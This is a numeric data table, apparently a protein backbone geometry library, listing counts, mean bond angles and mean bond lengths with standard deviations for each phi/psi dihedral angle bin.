(-170, -180) : ['B', 19, 122.45, 1.78, 111.49, 1.76, 107.88, 1.41, 111.78, 1.98, 121.25, 1.09, 115.66, 1.3, 123.04, 1.04, 1.3277, 0.0135, 1.4593, 0.0119, 1.5303, 0.0153, 1.5243, 0.0125, 1.2351, 0.0102],
(-170, -170) : ['B', 6, 122.84, 1.81, 111.35, 1.53, 107.73, 1.34, 112.82, 2.17, 120.94, 1.04, 116.26, 1.42, 122.75, 1.16, 1.3254, 0.0141, 1.4609, 0.0129, 1.53, 0.0136, 1.5255, 0.0123, 1.2372, 0.0094],
(-170, 140) : ['B', 9, 121.81, 2.16, 110.77, 1.66, 108.46, 1.51, 109.72, 1.61, 120.31, 1.13, 116.08, 1.38, 123.52, 1.1, 1.3311, 0.0123, 1.4559, 0.0113, 1.5349, 0.0158, 1.5205, 0.0131, 1.2334, 0.0135],
(-170, 150) : ['B', 15, 121.87, 2.24, 111.24, 1.59, 108.52, 1.52, 109.99, 1.61, 120.75, 1.12, 115.61, 1.41, 123.56, 1.06, 1.3301, 0.0123, 1.4562, 0.0127, 1.5343, 0.0165, 1.5206, 0.013, 1.2345, 0.0129],
(-170, 160) : ['B', 40, 121.91, 2.03, 111.56, 1.52, 108.42, 1.54, 110.43, 1.68, 121.1, 1.1, 115.38, 1.4, 123.46, 0.99, 1.3299, 0.0122, 1.4566, 0.0128, 1.5327, 0.0172, 1.5209, 0.0122, 1.2344, 0.0119],
(-170, 170) : ['B', 43, 122.09, 1.86, 111.57, 1.68, 108.14, 1.52, 110.95, 1.8, 121.28, 1.07, 115.38, 1.33, 123.29, 1.0, 1.3294, 0.0125, 1.4575, 0.0118, 1.5314, 0.0167, 1.5223, 0.012, 1.2339, 0.0109],
(-160, -180) : ['B', 47, 122.1, 1.66, 111.24, 1.58, 108.38, 1.35, 111.91, 2.06, 121.31, 1.07, 115.65, 1.3, 122.99, 1.07, 1.3294, 0.0127, 1.457, 0.012, 1.5316, 0.0156, 1.5237, 0.0123, 1.2341, 0.011],
(-160, -170) : ['B', 18, 122.32, 1.76, 110.97, 1.56, 108.24, 1.32, 112.78, 2.18, 121.05, 1.05, 116.18, 1.29, 122.72, 1.15, 1.3284, 0.0123, 1.4579, 0.0142, 1.5326, 0.0135, 1.5252, 0.0125, 1.2357, 0.0096],
(-160, -160) : ['B', 4, 121.95, 1.96, 110.51, 1.42, 108.23, 1.38, 113.8, 2.05, 120.56, 0.97, 116.52, 1.17, 122.88, 1.15, 1.3283, 0.0104, 1.4574, 0.0156, 1.5381, 0.0122, 1.5277, 0.0123, 1.2363, 0.0073],
(-160, -150) : ['B', 4, 120.81, 1.63, 109.51, 1.02, 108.49, 1.15, 114.87, 1.51, 120.19, 0.72, 116.68, 0.88, 123.11, 0.75, 1.3316, 0.0083, 1.4601, 0.0102, 1.5424, 0.0089, 1.5298, 0.0091, 1.2366, 0.0041],
(-160, 20) : ['B', 3, 119.35, 1.68, 110.65, 1.71, 113.21, 1.4, 110.99, 2.3, 118.38, 1.36, 119.65, 1.82, 121.85, 0.93, 1.3381, 0.0179, 1.4666, 0.0087, 1.5324, 0.0196, 1.5242, 0.0088, 1.2349, 0.0075],
(-160, 90) : ['B', 3, 121.26, 1.49, 111.74, 1.69, 107.28, 1.75, 111.51, 1.38, 120.63, 1.05, 115.81, 1.15, 123.5, 0.92, 1.3338, 0.0124, 1.4652, 0.0135, 1.5158, 0.0165, 1.5331, 0.0096, 1.231, 0.0095],
(-160, 100) : ['B', 8, 121.33, 1.4, 110.86, 1.54, 107.2, 1.7, 111.43, 1.24, 120.09, 1.01, 116.2, 1.24, 123.62, 1.02, 1.3351, 0.0135, 1.4625, 0.0132, 1.5206, 0.0148, 1.5289, 0.0104, 1.2339, 0.0107],
(-160, 110) : ['B', 9, 121.4, 1.52, 110.37, 1.46, 107.49, 1.74, 110.94, 1.28, 119.98, 1.17, 116.6, 1.34, 123.36, 1.2, 1.3321, 0.0126, 1.4615, 0.0122, 1.5248, 0.0177, 1.5226, 0.011, 1.2349, 0.0118],
(-160, 120) : ['B', 13, 121.58, 1.62, 110.32, 1.65, 107.93, 1.65, 110.34, 1.4, 119.98, 1.22, 116.71, 1.3, 123.26, 1.24, 1.3311, 0.0123, 1.4612, 0.012, 1.5298, 0.0222, 1.5192, 0.0114, 1.2353, 0.0124],
(-160, 130) : ['B', 30, 121.64, 1.7, 110.57, 1.69, 108.32, 1.64, 109.89, 1.69, 120.14, 1.22, 116.38, 1.35, 123.42, 1.14, 1.3317, 0.0125, 1.4575, 0.0116, 1.5334, 0.0189, 1.5204, 0.012, 1.2347, 0.0125],
(-160, 140) : ['B', 54, 121.69, 1.85, 110.99, 1.77, 108.55, 1.62, 109.86, 1.8, 120.43, 1.18, 116.01, 1.41, 123.48, 1.14, 1.331, 0.0126, 1.4554, 0.0118, 1.5336, 0.0164, 1.5213, 0.0128, 1.2335, 0.013],
(-160, 150) : ['B', 72, 121.63, 1.92, 111.39, 1.75, 108.76, 1.58, 110.16, 1.83, 120.89, 1.1, 115.55, 1.42, 123.48, 1.12, 1.3307, 0.0124, 1.4554, 0.0123, 1.5331, 0.0166, 1.5209, 0.0128, 1.2338, 0.0124],
(-160, 160) : ['B', 140, 121.62, 1.83, 111.56, 1.55, 108.79, 1.53, 110.62, 1.86, 121.23, 1.07, 115.29, 1.42, 123.42, 1.07, 1.3306, 0.0123, 1.4557, 0.0123, 1.5328, 0.0165, 1.5208, 0.0121, 1.2338, 0.012],
(-160, 170) : ['B', 109, 121.8, 1.71, 111.46, 1.54, 108.6, 1.46, 111.17, 1.96, 121.38, 1.06, 115.31, 1.36, 123.26, 1.05, 1.3301, 0.0126, 1.4563, 0.0116, 1.5323, 0.0168, 1.5218, 0.012, 1.2333, 0.0117],
(-150, -180) : ['B', 40, 122.11, 1.59, 111.21, 1.67, 108.74, 1.38, 111.95, 2.38, 121.36, 1.06, 115.67, 1.36, 122.92, 1.17, 1.3308, 0.013, 1.4553, 0.0132, 1.5322, 0.0168, 1.5234, 0.0124, 1.2343, 0.012],
(-150, -170) : ['B', 11, 122.2, 1.72, 110.76, 1.78, 108.45, 1.26, 113.02, 2.29, 121.14, 1.03, 116.08, 1.29, 122.73, 1.29, 1.3295, 0.0115, 1.4568, 0.0154, 1.5342, 0.0134, 1.5249, 0.0125, 1.2348, 0.0108],
(-150, -160) : ['B', 4, 122.08, 1.84, 110.55, 1.62, 108.19, 1.29, 114.1, 2.11, 120.8, 1.05, 116.47, 1.19, 122.68, 1.25, 1.3272, 0.0094, 1.4581, 0.0161, 1.5389, 0.0136, 1.5258, 0.0118, 1.2354, 0.009],
(-150, 0) : ['B', 3, 120.7, 1.63, 110.88, 1.88, 114.16, 1.48, 110.37, 1.54, 118.52, 1.1, 119.58, 1.34, 121.85, 1.03, 1.3306, 0.0222, 1.4572, 0.011, 1.5376, 0.0212, 1.5212, 0.0114, 1.2339, 0.0116],
(-150, 10) : ['B', 3, 120.17, 1.54, 111.07, 1.99, 113.5, 1.65, 110.45, 2.1, 118.65, 1.07, 119.45, 1.44, 121.84, 1.18, 1.3355, 0.0197, 1.4581, 0.009, 1.5351, 0.0248, 1.5248, 0.0111, 1.2377, 0.0118],
(-150, 20) : ['B', 5, 120.23, 1.67, 111.1, 2.17, 112.99, 1.61, 110.14, 2.77, 119.08, 1.05, 118.8, 1.51, 122.05, 1.15, 1.3398, 0.0173, 1.4593, 0.0091, 1.5353, 0.0275, 1.5266, 0.0121, 1.2368, 0.011],
(-150, 30) : ['B', 3, 121.08, 1.64, 111.42, 1.75, 112.03, 1.31, 110.46, 2.47, 119.97, 0.94, 117.68, 1.37, 122.3, 1.03, 1.34, 0.0171, 1.4592, 0.0115, 1.5328, 0.0221, 1.5245, 0.0144, 1.2362, 0.0098],
(-150, 40) : ['B', 3, 121.53, 1.53, 111.79, 1.2, 110.41, 1.18, 111.24, 1.64, 121.02, 0.9, 116.77, 1.21, 122.18, 0.99, 1.3337, 0.0143, 1.4585, 0.0133, 1.5306, 0.0134, 1.5243, 0.0143, 1.2356, 0.0088],
(-150, 50) : ['B', 3, 121.83, 1.48, 111.19, 1.47, 109.83, 1.55, 112.07, 1.54, 121.67, 0.93, 116.49, 1.3, 121.78, 1.4, 1.3289, 0.0117, 1.4583, 0.0141, 1.5287, 0.0102, 1.5273, 0.012, 1.232, 0.0112],
(-150, 60) : ['B', 4, 122.62, 1.97, 110.79, 1.73, 109.24, 1.89, 112.44, 1.72, 122.31, 1.31, 116.25, 1.53, 121.35, 2.15, 1.3287, 0.0123, 1.4574, 0.017, 1.5274, 0.0076, 1.5283, 0.0107, 1.2294, 0.0174],
(-150, 70) : ['B', 3, 122.95, 2.38, 111.96, 1.75, 108.18, 2.01, 111.86, 1.67, 122.62, 1.87, 115.78, 1.35, 121.5, 2.64, 1.3362, 0.0171, 1.459, 0.0215, 1.5305, 0.0098, 1.5313, 0.0115, 1.2306, 0.0187],
(-150, 80) : ['B', 5, 122.2, 2.32, 112.27, 1.77, 107.6, 1.83, 111.7, 1.52, 122.2, 1.64, 115.51, 1.08, 122.22, 1.97, 1.3391, 0.018, 1.4648, 0.0175, 1.5284, 0.0113, 1.5324, 0.0121, 1.2335, 0.0142],
(-150, 90) : ['B', 3, 121.87, 1.83, 111.36, 1.82, 107.32, 1.65, 111.7, 1.31, 120.89, 1.27, 115.75, 1.08, 123.28, 1.16, 1.3342, 0.0152, 1.4652, 0.0131, 1.5218, 0.0127, 1.5304, 0.0108, 1.2329, 0.0112],
(-150, 100) : ['B', 9, 121.72, 1.54, 110.79, 1.63, 107.23, 1.67, 111.42, 1.31, 120.27, 1.24, 116.26, 1.27, 123.4, 1.13, 1.3336, 0.0142, 1.4627, 0.0127, 1.523, 0.0135, 1.5264, 0.0103, 1.2346, 0.0122],
(-150, 110) : ['B', 15, 121.76, 1.51, 110.71, 1.53, 107.61, 1.74, 110.79, 1.39, 120.15, 1.37, 116.55, 1.45, 123.24, 1.32, 1.3315, 0.0132, 1.4611, 0.0119, 1.5269, 0.0165, 1.5218, 0.0108, 1.2347, 0.0126],
(-150, 120) : ['B', 21, 121.86, 1.58, 110.59, 1.65, 108.13, 1.72, 110.24, 1.46, 120.11, 1.37, 116.5, 1.44, 123.34, 1.37, 1.3311, 0.0128, 1.4594, 0.012, 1.5308, 0.0183, 1.5198, 0.0112, 1.2347, 0.0118],
(-150, 130) : ['B', 58, 121.89, 1.74, 110.71, 1.66, 108.48, 1.8, 109.8, 1.7, 120.21, 1.35, 116.29, 1.45, 123.44, 1.23, 1.3313, 0.013, 1.4569, 0.012, 1.5331, 0.0169, 1.5204, 0.012, 1.2345, 0.0115],
(-150, 140) : ['B', 89, 121.94, 1.76, 111.13, 1.81, 108.75, 1.71, 109.68, 1.98, 120.54, 1.23, 115.98, 1.45, 123.41, 1.17, 1.3311, 0.0129, 1.4552, 0.0121, 1.5334, 0.0172, 1.5209, 0.0126, 1.2339, 0.0122],
(-150, 150) : ['B', 142, 121.85, 1.77, 111.52, 1.86, 108.99, 1.57, 109.94, 2.13, 120.99, 1.12, 115.61, 1.45, 123.33, 1.13, 1.3312, 0.0125, 1.4547, 0.0125, 1.5337, 0.0178, 1.521, 0.0124, 1.234, 0.0122],
(-150, 160) : ['B', 181, 121.75, 1.73, 111.66, 1.67, 109.07, 1.52, 110.45, 2.15, 121.33, 1.08, 115.36, 1.48, 123.25, 1.14, 1.3312, 0.0122, 1.4548, 0.0127, 1.5338, 0.0176, 1.5211, 0.0123, 1.2338, 0.0122],
(-150, 170) : ['B', 105, 121.87, 1.64, 111.56, 1.58, 108.96, 1.49, 111.09, 2.27, 121.45, 1.07, 115.38, 1.45, 123.1, 1.15, 1.3309, 0.0128, 1.4549, 0.0125, 1.5329, 0.0182, 1.5218, 0.0124, 1.2336, 0.0125],
(-140, -180) : ['B', 29, 122.53, 1.61, 111.31, 1.67, 108.86, 1.41, 111.65, 2.4, 121.4, 1.11, 115.77, 1.52, 122.78, 1.33, 1.3319, 0.0137, 1.4552, 0.0141, 1.5336, 0.0157, 1.5232, 0.0131, 1.2351, 0.0128],
(-140, -170) : ['B', 18, 122.39, 1.64, 110.87, 1.8, 108.34, 1.31, 113.19, 2.37, 121.32, 1.18, 116.01, 1.45, 122.61, 1.57, 1.3304, 0.0119, 1.4568, 0.0153, 1.5348, 0.0132, 1.5251, 0.0134, 1.235, 0.0114],
(-140, -160) : ['B', 5, 122.23, 1.48, 110.86, 1.79, 108.07, 1.38, 114.41, 2.3, 121.47, 1.33, 116.35, 1.3, 122.11, 1.66, 1.3276, 0.0089, 1.4588, 0.0141, 1.5367, 0.0145, 1.5253, 0.0111, 1.236, 0.0099],
(-140, -30) : ['B', 4, 121.63, 1.91, 111.18, 1.58, 114.62, 1.14, 109.28, 1.33, 118.54, 1.26, 119.71, 1.17, 121.67, 1.3, 1.3327, 0.0192, 1.4599, 0.0114, 1.534, 0.0179, 1.5224, 0.012, 1.2351, 0.0102],
(-140, -20) : ['B', 6, 121.52, 1.74, 111.15, 1.46, 114.75, 1.26, 109.16, 1.29, 118.47, 1.14, 119.8, 1.34, 121.64, 1.23, 1.3331, 0.0141, 1.4601, 0.0127, 1.5331, 0.016, 1.52, 0.0137, 1.2358, 0.0111],
(-140, -10) : ['B', 6, 121.41, 1.83, 111.06, 1.59, 114.64, 1.52, 109.29, 1.51, 118.43, 1.25, 119.58, 1.39, 121.93, 1.06, 1.3334, 0.0151, 1.4572, 0.0142, 1.5353, 0.0164, 1.5201, 0.0137, 1.2346, 0.0119],
(-140, 0) : ['B', 10, 121.44, 1.59, 111.01, 1.56, 114.09, 1.55, 109.8, 1.61, 118.79, 1.13, 119.07, 1.23, 122.09, 1.09, 1.3337, 0.0179, 1.4551, 0.0127, 1.5373, 0.0185, 1.5217, 0.0125, 1.2351, 0.0126],
(-140, 10) : ['B', 12, 121.18, 1.64, 111.43, 1.88, 113.19, 1.58, 110.35, 1.78, 119.08, 1.03, 118.82, 1.26, 122.04, 1.35, 1.3356, 0.0175, 1.4569, 0.0106, 1.5333, 0.0215, 1.5241, 0.0124, 1.2378, 0.0139],
(-140, 20) : ['B', 12, 121.15, 1.85, 111.6, 1.99, 112.54, 1.51, 110.41, 2.17, 119.51, 1.04, 118.26, 1.38, 122.15, 1.36, 1.337, 0.0173, 1.4579, 0.01, 1.5321, 0.0223, 1.5257, 0.0131, 1.2371, 0.0138],
(-140, 30) : ['B', 8, 121.81, 1.94, 111.66, 1.56, 111.71, 1.34, 110.75, 1.99, 120.32, 1.02, 117.4, 1.41, 122.21, 1.24, 1.3356, 0.0168, 1.4575, 0.0125, 1.53, 0.0184, 1.524, 0.0147, 1.2361, 0.0126],
(-140, 40) : ['B', 11, 122.54, 1.82, 111.65, 1.4, 110.61, 1.25, 111.35, 1.72, 121.2, 1.04, 116.74, 1.42, 121.99, 1.24, 1.3316, 0.0142, 1.4588, 0.0152, 1.5281, 0.0147, 1.5216, 0.0152, 1.2354, 0.0112],
(-140, 50) : ['B', 4, 122.62, 1.63, 111.53, 1.93, 110.06, 1.43, 111.97, 1.99, 121.78, 1.12, 116.22, 1.44, 121.92, 1.35, 1.3301, 0.0128, 1.4598, 0.015, 1.5275, 0.0149, 1.5251, 0.014, 1.2316, 0.0101],
(-140, 60) : ['B', 3, 122.67, 1.47, 111.36, 2.05, 109.56, 1.84, 112.12, 2.09, 122.32, 1.51, 115.95, 1.39, 121.63, 1.84, 1.3332, 0.0134, 1.4578, 0.0177, 1.5277, 0.0133, 1.5305, 0.0123, 1.2277, 0.0139],
(-140, 70) : ['B', 5, 123.04, 1.59, 111.64, 1.53, 108.53, 2.07, 111.74, 1.59, 122.23, 1.94, 115.92, 1.28, 121.74, 2.3, 1.3412, 0.0213, 1.4597, 0.022, 1.5307, 0.0137, 1.5323, 0.0141, 1.2301, 0.0174],
(-140, 80) : ['B', 7, 122.92, 1.75, 111.58, 1.62, 107.67, 2.11, 111.95, 1.45, 121.62, 1.77, 115.85, 1.23, 122.44, 1.82, 1.3411, 0.0226, 1.4661, 0.0177, 1.5284, 0.0167, 1.531, 0.0147, 1.2332, 0.0147],
(-140, 90) : ['B', 8, 122.76, 1.63, 111.11, 1.88, 107.37, 2.07, 111.82, 1.38, 120.81, 1.61, 116.05, 1.19, 123.06, 1.36, 1.3344, 0.0158, 1.4665, 0.0136, 1.5237, 0.0162, 1.5281, 0.0118, 1.234, 0.0122],
(-140, 100) : ['B', 15, 122.47, 1.5, 110.95, 1.73, 107.44, 1.93, 111.23, 1.42, 120.47, 1.35, 116.33, 1.32, 123.14, 1.28, 1.3326, 0.0138, 1.4637, 0.0125, 1.5245, 0.0146, 1.5257, 0.0108, 1.2347, 0.0121],
(-140, 110) : ['B', 31, 122.44, 1.45, 110.9, 1.56, 107.8, 1.73, 110.62, 1.46, 120.25, 1.26, 116.57, 1.4, 123.14, 1.3, 1.3317, 0.0133, 1.461, 0.0119, 1.5293, 0.0154, 1.522, 0.0114, 1.235, 0.0119],
(-140, 120) : ['B', 58, 122.39, 1.48, 110.77, 1.63, 108.26, 1.66, 110.14, 1.54, 120.2, 1.22, 116.48, 1.39, 123.28, 1.28, 1.3316, 0.0126, 1.4588, 0.0122, 1.5323, 0.0162, 1.5199, 0.0116, 1.2347, 0.0113],
(-140, 130) : ['B', 111, 122.33, 1.68, 110.81, 1.68, 108.69, 1.77, 109.65, 1.75, 120.28, 1.23, 116.31, 1.48, 123.36, 1.22, 1.3314, 0.0133, 1.4567, 0.0126, 1.5337, 0.0172, 1.52, 0.012, 1.2345, 0.0111],
(-140, 140) : ['B', 136, 122.37, 1.72, 111.13, 1.79, 109.06, 1.7, 109.38, 2.03, 120.6, 1.2, 116.01, 1.51, 123.33, 1.21, 1.3313, 0.0143, 1.4551, 0.0125, 1.5347, 0.0202, 1.5205, 0.0122, 1.2342, 0.0118],
(-140, 150) : ['B', 203, 122.29, 1.65, 111.53, 1.86, 109.23, 1.55, 109.56, 2.22, 121.06, 1.16, 115.6, 1.47, 123.27, 1.16, 1.3313, 0.0137, 1.4546, 0.0126, 1.5353, 0.0209, 1.5211, 0.012, 1.2338, 0.0122],
(-140, 160) : ['B', 203, 122.21, 1.62, 111.69, 1.74, 109.24, 1.51, 110.07, 2.2, 121.4, 1.13, 115.36, 1.53, 123.17, 1.21, 1.3312, 0.013, 1.4546, 0.0129, 1.5352, 0.019, 1.5216, 0.0124, 1.2335, 0.0124],
(-140, 170) : ['B', 93, 122.36, 1.6, 111.62, 1.62, 109.14, 1.49, 110.67, 2.23, 121.51, 1.12, 115.46, 1.57, 122.96, 1.26, 1.3313, 0.0133, 1.4547, 0.0132, 1.5343, 0.0177, 1.522, 0.0127, 1.234, 0.0129],
(-130, -180) : ['B', 13, 123.01, 1.78, 111.22, 1.58, 109.18, 1.42, 111.11, 2.1, 121.49, 1.16, 115.71, 1.6, 122.74, 1.38, 1.3305, 0.0139, 1.4556, 0.0144, 1.5344, 0.0145, 1.5245, 0.0135, 1.2348, 0.0136],
(-130, -160) : ['B', 4, 122.16, 1.32, 110.88, 2.22, 108.65, 1.85, 114.11, 2.44, 121.98, 1.47, 116.18, 1.15, 121.7, 1.84, 1.3283, 0.0085, 1.4578, 0.0117, 1.5341, 0.0149, 1.5274, 0.0098, 1.2375, 0.0106],
(-130, -40) : ['B', 3, 122.15, 2.83, 110.83, 2.36, 113.18, 1.33, 110.23, 1.76, 119.47, 1.34, 118.22, 1.03, 122.25, 1.18, 1.3243, 0.0256, 1.4587, 0.0141, 1.5372, 0.0252, 1.5203, 0.0125, 1.2335, 0.0146],
(-130, -20) : ['B', 13, 122.08, 1.53, 111.0, 1.33, 114.56, 1.27, 109.13, 1.56, 118.55, 1.14, 119.26, 1.14, 122.1, 1.06, 1.3326, 0.0152, 1.4571, 0.014, 1.536, 0.0146, 1.5202, 0.0148, 1.2371, 0.0128],
(-130, -10) : ['B', 24, 121.98, 1.53, 110.98, 1.32, 114.39, 1.45, 109.27, 1.64, 118.69, 1.15, 119.07, 1.2, 122.19, 1.03, 1.334, 0.0158, 1.4549, 0.015, 1.5365, 0.0146, 1.5209, 0.0138, 1.236, 0.0123],
(-130, 0) : ['B', 31, 121.99, 1.56, 110.95, 1.44, 113.89, 1.58, 109.75, 1.72, 119.03, 1.13, 118.7, 1.22, 122.23, 1.09, 1.3341, 0.0163, 1.4541, 0.014, 1.5363, 0.0158, 1.5219, 0.0131, 1.2359, 0.0129],
(-130, 10) : ['B', 23, 122.08, 1.59, 111.27, 1.66, 113.02, 1.49, 110.44, 1.68, 119.34, 1.09, 118.39, 1.25, 122.2, 1.26, 1.335, 0.015, 1.4568, 0.0119, 1.5331, 0.0163, 1.5239, 0.0125, 1.2367, 0.0143],
(-130, 20) : ['B', 24, 122.14, 1.67, 111.49, 1.66, 112.3, 1.36, 110.85, 1.64, 119.78, 1.16, 117.89, 1.34, 122.26, 1.37, 1.336, 0.0155, 1.4583, 0.0108, 1.5307, 0.0151, 1.5247, 0.0122, 1.2353, 0.0148],
(-130, 30) : ['B', 18, 122.5, 1.82, 111.54, 1.45, 111.56, 1.38, 111.18, 1.56, 120.53, 1.18, 117.2, 1.45, 122.19, 1.34, 1.334, 0.0158, 1.4579, 0.0122, 1.5283, 0.0139, 1.5239, 0.0131, 1.2339, 0.0147],
(-130, 40) : ['B', 19, 123.13, 1.89, 111.51, 1.48, 110.88, 1.28, 111.45, 1.72, 121.32, 1.16, 116.76, 1.58, 121.83, 1.35, 1.3304, 0.0143, 1.4577, 0.0144, 1.5266, 0.0139, 1.521, 0.0154, 1.2346, 0.0141],
(-130, 50) : ['B', 8, 123.34, 1.8, 111.69, 2.25, 110.44, 1.2, 111.77, 2.28, 121.89, 1.29, 116.19, 1.66, 121.83, 1.33, 1.3303, 0.0136, 1.4596, 0.0145, 1.5258, 0.0168, 1.5226, 0.0161, 1.2328, 0.0119],
(-130, 60) : ['B', 5, 122.87, 1.44, 111.74, 2.41, 109.54, 1.37, 111.83, 2.33, 121.94, 1.68, 115.71, 1.54, 122.28, 1.3, 1.3333, 0.0136, 1.4611, 0.0151, 1.5277, 0.0182, 1.5299, 0.0144, 1.2304, 0.0115],
(-130, 70) : ['B', 6, 123.03, 1.34, 111.23, 1.53, 108.49, 1.65, 111.85, 1.47, 121.35, 1.96, 115.94, 1.33, 122.61, 1.54, 1.3352, 0.0186, 1.4621, 0.0167, 1.5301, 0.022, 1.5314, 0.0146, 1.2325, 0.0144],
(-130, 80) : ['B', 8, 123.24, 1.54, 110.9, 1.84, 107.67, 2.09, 112.09, 1.43, 121.03, 1.97, 116.07, 1.3, 122.81, 1.53, 1.3361, 0.0187, 1.4658, 0.0151, 1.5306, 0.0312, 1.5281, 0.016, 1.2331, 0.0136],
(-130, 90) : ['B', 16, 123.23, 1.54, 110.82, 1.85, 107.48, 2.29, 111.77, 1.52, 120.69, 1.93, 116.28, 1.39, 122.93, 1.6, 1.3331, 0.013, 1.464, 0.0136, 1.5273, 0.0248, 1.5264, 0.0135, 1.2339, 0.012],
(-130, 100) : ['B', 27, 122.95, 1.44, 110.87, 1.63, 107.7, 2.09, 111.17, 1.54, 120.52, 1.39, 116.43, 1.51, 122.99, 1.52, 1.3317, 0.0131, 1.4625, 0.012, 1.5261, 0.017, 1.5258, 0.012, 1.2347, 0.0114],
(-130, 110) : ['B', 50, 122.86, 1.42, 110.84, 1.52, 108.02, 1.78, 110.62, 1.51, 120.33, 1.08, 116.51, 1.34, 123.12, 1.32, 1.3317, 0.0135, 1.4601, 0.0117, 1.5295, 0.0157, 1.5224, 0.0118, 1.2354, 0.0113],
(-130, 120) : ['B', 119, 122.77, 1.41, 110.77, 1.57, 108.34, 1.64, 110.14, 1.6, 120.24, 1.06, 116.45, 1.23, 123.27, 1.17, 1.3315, 0.0129, 1.4582, 0.0119, 1.5319, 0.0158, 1.5204, 0.0117, 1.2354, 0.0112],
(-130, 130) : ['B', 164, 122.74, 1.54, 110.8, 1.73, 108.76, 1.69, 109.7, 1.81, 120.32, 1.11, 116.32, 1.38, 123.31, 1.17, 1.3312, 0.0138, 1.4566, 0.0124, 1.533, 0.019, 1.5205, 0.0121, 1.2352, 0.0114],
(-130, 140) : ['B', 185, 122.73, 1.62, 111.0, 1.81, 109.24, 1.67, 109.35, 1.98, 120.66, 1.15, 116.0, 1.5, 123.27, 1.22, 1.331, 0.0155, 1.4553, 0.0125, 1.5345, 0.0247, 1.5209, 0.0124, 1.2347, 0.0122],
(-130, 150) : ['B', 204, 122.62, 1.56, 111.37, 1.82, 109.5, 1.58, 109.38, 2.09, 121.11, 1.17, 115.58, 1.48, 123.24, 1.23, 1.331, 0.0151, 1.4544, 0.0127, 1.5358, 0.0253, 1.5215, 0.0121, 1.2341, 0.0126],
(-130, 160) : ['B', 154, 122.59, 1.57, 111.55, 1.74, 109.52, 1.55, 109.79, 2.05, 121.44, 1.17, 115.34, 1.56, 123.15, 1.3, 1.3307, 0.0141, 1.4541, 0.0129, 1.5357, 0.0208, 1.5222, 0.0123, 1.2337, 0.0126],
(-130, 170) : ['B', 61, 122.82, 1.68, 111.43, 1.59, 109.41, 1.52, 110.3, 1.98, 121.58, 1.16, 115.42, 1.64, 122.94, 1.37, 1.3305, 0.0138, 1.4545, 0.0133, 1.5353, 0.0171, 1.5228, 0.0125, 1.234, 0.0128],
(-120, -180) : ['B', 15, 123.32, 1.88, 110.87, 1.51, 109.69, 1.44, 111.22, 2.02, 121.6, 1.21, 115.54, 1.52, 122.81, 1.42, 1.3275, 0.0147, 1.456, 0.015, 1.5317, 0.0145, 1.5262, 0.0137, 1.2335, 0.0147],
(-120, -170) : ['B', 4, 123.09, 1.94, 110.65, 1.68, 109.65, 1.56, 112.44, 2.07, 121.46, 1.25, 115.75, 1.34, 122.72, 1.33, 1.3277, 0.0151, 1.4559, 0.014, 1.5306, 0.0148, 1.529, 0.0144, 1.2344, 0.0151],
(-120, -120) : ['B', 3, 121.84, 1.42, 111.59, 0.93, 108.34, 1.47, 116.54, 1.46, 119.34, 0.91, 118.57, 0.88, 122.03, 0.73, 1.3371, 0.0129, 1.4584, 0.0063, 1.5189, 0.0189, 1.5252, 0.0042, 1.2274, 0.0078],
(-120, -100) : ['B', 4, 121.79, 1.35, 111.22, 1.68, 108.3, 1.56, 115.27, 2.0, 119.77, 0.57, 119.29, 0.48, 120.83, 0.74, 1.3366, 0.012, 1.4529, 0.0118, 1.5327, 0.0146, 1.5196, 0.0048, 1.2389, 0.0126],
(-120, -70) : ['B', 4, 121.9, 1.26, 111.21, 2.08, 111.34, 1.49, 112.31, 1.53, 119.4, 1.1, 118.76, 1.29, 121.79, 0.98, 1.3349, 0.0121, 1.461, 0.0097, 1.5297, 0.0124, 1.5232, 0.0082, 1.2332, 0.0126],
(-120, -60) : ['B', 9, 122.17, 1.54, 110.63, 1.94, 112.12, 1.34, 111.26, 1.66, 119.61, 1.24, 118.39, 1.38, 121.95, 1.17, 1.333, 0.0134, 1.4589, 0.0115, 1.5343, 0.0155, 1.5222, 0.0093, 1.2353, 0.0124],
(-120, -50) : ['B', 13, 122.46, 1.8, 110.44, 1.74, 112.72, 1.28, 110.37, 1.64, 119.81, 1.17, 118.04, 1.32, 122.09, 1.23, 1.3314, 0.014, 1.4574, 0.0117, 1.5371, 0.0176, 1.5194, 0.0101, 1.2369, 0.0136],
(-120, -40) : ['B', 8, 122.58, 2.07, 110.51, 1.7, 113.43, 1.26, 109.65, 1.68, 119.64, 1.19, 118.15, 1.39, 122.1, 1.34, 1.3288, 0.0179, 1.4575, 0.0135, 1.5355, 0.0201, 1.5188, 0.0119, 1.2337, 0.0154],
(-120, -30) : ['B', 14, 122.42, 1.77, 110.81, 1.48, 114.04, 1.24, 109.15, 1.78, 119.06, 1.25, 118.58, 1.26, 122.25, 1.2, 1.3308, 0.0173, 1.4555, 0.0136, 1.5366, 0.0167, 1.5197, 0.014, 1.2329, 0.0146],
(-120, -20) : ['B', 28, 122.24, 1.57, 110.9, 1.33, 114.31, 1.29, 109.02, 1.68, 118.77, 1.11, 118.81, 1.15, 122.34, 1.1, 1.3344, 0.0152, 1.4544, 0.0131, 1.5371, 0.0138, 1.5202, 0.0139, 1.2358, 0.0131],
(-120, -10) : ['B', 36, 122.23, 1.57, 110.88, 1.38, 114.12, 1.39, 109.38, 1.68, 118.9, 1.1, 118.79, 1.22, 122.27, 1.16, 1.3337, 0.0161, 1.4538, 0.0142, 1.5369, 0.0141, 1.5209, 0.0134, 1.2364, 0.0128],
(-120, 0) : ['B', 48, 122.29, 1.56, 110.8, 1.49, 113.61, 1.5, 109.99, 1.74, 119.18, 1.18, 118.59, 1.28, 122.2, 1.18, 1.3328, 0.0151, 1.4547, 0.0138, 1.5348, 0.0151, 1.5214, 0.0131, 1.2367, 0.0133],
(-120, 10) : ['B', 51, 122.37, 1.54, 110.98, 1.65, 112.94, 1.41, 110.64, 1.72, 119.48, 1.18, 118.27, 1.3, 122.19, 1.21, 1.3333, 0.0134, 1.4575, 0.0122, 1.5315, 0.0152, 1.5231, 0.0128, 1.2369, 0.0139],
(-120, 20) : ['B', 46, 122.49, 1.57, 111.2, 1.65, 112.41, 1.3, 111.02, 1.62, 119.95, 1.21, 117.76, 1.38, 122.22, 1.3, 1.3344, 0.0139, 1.4583, 0.0114, 1.5297, 0.0139, 1.5245, 0.0129, 1.2351, 0.014],
(-120, 30) : ['B', 27, 122.79, 1.63, 111.39, 1.56, 111.87, 1.41, 111.28, 1.58, 120.65, 1.23, 117.06, 1.53, 122.2, 1.34, 1.3329, 0.0156, 1.4576, 0.0119, 1.5279, 0.0134, 1.5252, 0.0127, 1.2326, 0.0143],
